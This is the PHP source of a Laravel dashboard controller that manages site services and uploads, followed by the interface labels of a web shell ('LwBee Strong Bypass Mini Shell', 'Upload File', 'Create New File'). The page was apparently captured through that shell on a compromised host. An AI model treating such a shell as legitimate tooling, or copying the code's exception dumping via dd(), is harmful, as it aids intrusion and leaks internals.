/home/u503560585/domains/mscm.me/public_html/app/Http/Controllers/Dashboard/ServicesController.php
<?php

namespace App\Http\Controllers\Dashboard;

use App\Http\Controllers\Controller;
use App\Models\Banner;
use App\Http\Requests;
use App\Models\WebmasterBanner;
use App\Models\ServiceSite;
use App\Models\WebmasterSection;
use Auth;
use Exception;
use File;
use Helper;
use Illuminate\Config;
use Illuminate\Http\Request;
use Redirect;

class ServicesController extends Controller
{
    
    private $uploadPath = "uploads/services/";

    // Define Default Variables

    public function __construct()
    {
        $this->middleware('auth');
    }

    /**
     * Display a listing of the resource.
     *
     * @return \Illuminate\Http\Response
     */
    public function index()
    {
         //
        // General for all pages
        $GeneralWebmasterSections = WebmasterSection::where('status', '=', '1')->orderby('row_no', 'asc')->get();
        // General END

        //List of Banners Sections
        $ServiceSites = ServiceSite::all();
        return view("dashboard.service.list", compact("ServiceSites", "GeneralWebmasterSections"));
    }

    /**
     * Show the form for creating a new resource.
     *
     * @return \Illuminate\Http\Response
     */
    public function create()
    {
        //
        // General for all pages
        $GeneralWebmasterSections = WebmasterSection::where('status', '=', '1')->orderby('row_no', 'asc')->get();
        // General END
        return view("dashboard.service.create", compact("GeneralWebmasterSections"));
    }

    /**
     * Store a newly created resource in storage.
     *
     * @param \Illuminate\Http\Request $request
     * @return \Illuminate\Http\Response
     */
    public function store(Request $request)
    {
        try {
            // Check Permissions
            if (!@Auth::user()->permissionsGroup->add_status) {
                return Redirect::to(route('NoPermission'))->send();
            }
            $ServiceSite = new ServiceSite;
            $ServiceSite->type_service = $request->type_service;
            $ServiceSite->title_ar = $request->title_ar;
            $ServiceSite->title_en = $request->title_en;
            $ServiceSite->details_ar = $request->details_ar;
            $ServiceSite->details_en = $request->details_en;
            $ServiceSite->link_url = $request->link_url;
            $ServiceSite->status = $request->status;
            foreach (Helper::languagesList() as $ActiveLanguage) {
                if ($ActiveLanguage->box_status) {

                    // Start of Upload Files
                    $formFileName = "file_" . $ActiveLanguage->code;
                    $fileFinalName = "";
                    if ($request->$formFileName != "") {
                        $this->validate($request, [
                            $formFileName => 'mimes:png,jpeg,jpg,gif,svg'
                        ]);

                        $fileFinalName = time() . rand(1111,
                                9999) . '.' . $request->file($formFileName)->getClientOriginalExtension();
                        $path = $this->uploadPath;
                        $request->file($formFileName)->move($path, $fileFinalName);
                    }
                    //save file name
                    if ($fileFinalName != "") {
                        // Delete a banner file
                        if ($ServiceSite->{"file_" . $ActiveLanguage->code} != "") {
                            File::delete($this->uploadPath . $ServiceSite->{"file_" . $ActiveLanguage->code});
                        }

                        $ServiceSite->{"file_" . $ActiveLanguage->code} = "/".$this->uploadPath . $fileFinalName;
                    }
                }
            }
            if($request->type_service == ServiceSite::TYPE_CONTENT) {
                $content = $request->sub_content;
                if(count($content) > 0) {
                    $ServiceSite->content = json_encode($content);
                }
            }
            $ServiceSite->save();

            return redirect()->route('Services')->with('doneMessage', __('backend.addDone'));
        } catch(\Exception $e) {
            dd($e);
        }
    }


    /**
     * Show the form for editing the specified resource.
     *
     * @param int $id
     * @return \Illuminate\Http\Response
     */
    public function edit($id)
    {
        // Check Permissions
        if (!@Auth::user()->permissionsGroup->edit_status) {
            return Redirect::to(route('NoPermission'))->send();
        }
        //
        // General for all pages
        $GeneralWebmasterSections = WebmasterSection::where('status', '=', '1')->orderby('row_no', 'asc')->get();
        // General END

        $ServiceSite = ServiceSite::find($id);
        if (!empty($ServiceSite)) {
            //Banner Sections Details

            return view("dashboard.service.edit", compact("ServiceSite", "GeneralWebmasterSections"));
        } else {
            return redirect()->route('Services')->with('doneMessage', __('backend.addDone'));
        }
    }

    /**
     * Update the specified resource in storage.
     *
     * @param \Illuminate\Http\Request $request
     * @param int $id
     * @return \Illuminate\Http\Response
     */
    public function update(Request $request, $id)
    {
        try {
            // Check Permissions
            if (!@Auth::user()->permissionsGroup->add_status) {
                return Redirect::to(route('NoPermission'))->send();
            }
            $ServiceSite = ServiceSite::find($id);
            $ServiceSite->title_ar = $request->title_ar;
            $ServiceSite->title_en = $request->title_en;
            $ServiceSite->details_ar = $request->details_ar;
            $ServiceSite->details_en = $request->details_en;
            $ServiceSite->link_url = $request->link_url;
            $ServiceSite->status = $request->status;
            foreach (Helper::languagesList() as $ActiveLanguage) {
                if ($ActiveLanguage->box_status) {

                    // Start of Upload Files
                    $formFileName = "file_" . $ActiveLanguage->code;
                    $fileFinalName = "";
                    if ($request->$formFileName != "") {
                        $this->validate($request, [
                            $formFileName => 'mimes:png,jpeg,jpg,gif,svg'
                        ]);

                        $fileFinalName = time() . rand(1111,
                                9999) . '.' . $request->file($formFileName)->getClientOriginalExtension();
                        $path = $this->uploadPath;
                        $request->file($formFileName)->move($path, $fileFinalName);
                    }
                    //save file name
                    if ($fileFinalName != "") {
                        // Delete a banner file
                        if ($ServiceSite->{"file_" . $ActiveLanguage->code} != "") {
                            File::delete($this->uploadPath . $ServiceSite->{"file_" . $ActiveLanguage->code});
                        }

                        $ServiceSite->{"file_" . $ActiveLanguage->code} = "/".$this->uploadPath . $fileFinalName;
                    }
                }
            }
            $ServiceSite->save();

            return redirect()->route('Services')->with('doneMessage', __('backend.addDone'));
        } catch(\Exception $e) {
            dd($e);
        }
    }

    /**
     * Remove the specified resource from storage.
     *
     * @param int $id
     * @return \Illuminate\Http\Response
     */
    public function destroy($id)
    {
        // Check Permissions
        if (!@Auth::user()->permissionsGroup->delete_status) {
            return Redirect::to(route('NoPermission'))->send();
        }
        //
        $ServiceSite = ServiceSite::find($id);
        if (!empty($ServiceSite)) {
            // Delete a ServiceSite file
            foreach (Helper::languagesList() as $ActiveLanguage) {
                if ($ActiveLanguage->box_status) {
                    if ($ServiceSite->{"file_" . $ActiveLanguage->code} != "") {
                        File::delete($ServiceSite->{"file_" . $ActiveLanguage->code});
                    }
                }
            }

            $ServiceSite->delete();
             return redirect()->route('Services')->with('doneMessage', __('backend.deleteDone'));
        } else {
            return redirect()->route('Services');
        }
    }


    /**
     * Update all selected resources in storage.
     *
     * @param \Illuminate\Http\Request $request
     * @param buttonNames , array $ids[]
     * @return \Illuminate\Http\Response
     */
    public function updateAll(Request $request)
    {
        //
        if ($request->action == "order") {
            foreach ($request->row_ids as $rowId) {
                $Banner = Banner::find($rowId);
                if (!empty($Banner)) {
                    $row_no_val = "row_no_" . $rowId;
                    $Banner->row_no = $request->$row_no_val;
                    $Banner->save();
                }
            }

        } else {
            if ($request->ids != "") {
                if ($request->action == "activate") {
                    Banner::wherein('id', $request->ids)
                        ->update(['status' => 1]);

                } elseif ($request->action == "block") {
                    Banner::wherein('id', $request->ids)
                        ->update(['status' => 0]);

                } elseif ($request->action == "delete") {
                    // Check Permissions
                    if (!@Auth::user()->permissionsGroup->delete_status) {
                        return Redirect::to(route('NoPermission'))->send();
                    }
                    // Delete banners files
                    $Banners = Banner::wherein('id', $request->ids)->get();
                    foreach ($Banners as $banner) {
                        foreach (Helper::languagesList() as $ActiveLanguage) {
                            if ($ActiveLanguage->box_status) {
                                if ($banner->{"file_" . $ActiveLanguage->code} != "") {
                                    File::delete($this->uploadPath . $banner->{"file_" . $ActiveLanguage->code});
                                }
                            }
                        }
                    }

                    Banner::wherein('id', $request->ids)
                        ->delete();

                }
            }
        }
        return redirect()->action('Dashboard\BannersController@index')->with('doneMessage', __('backend.saveDone'));
    }


}
@LwBee Strong Bypass

LwBee Strong Bypass Mini Shell

Upload File

Create New File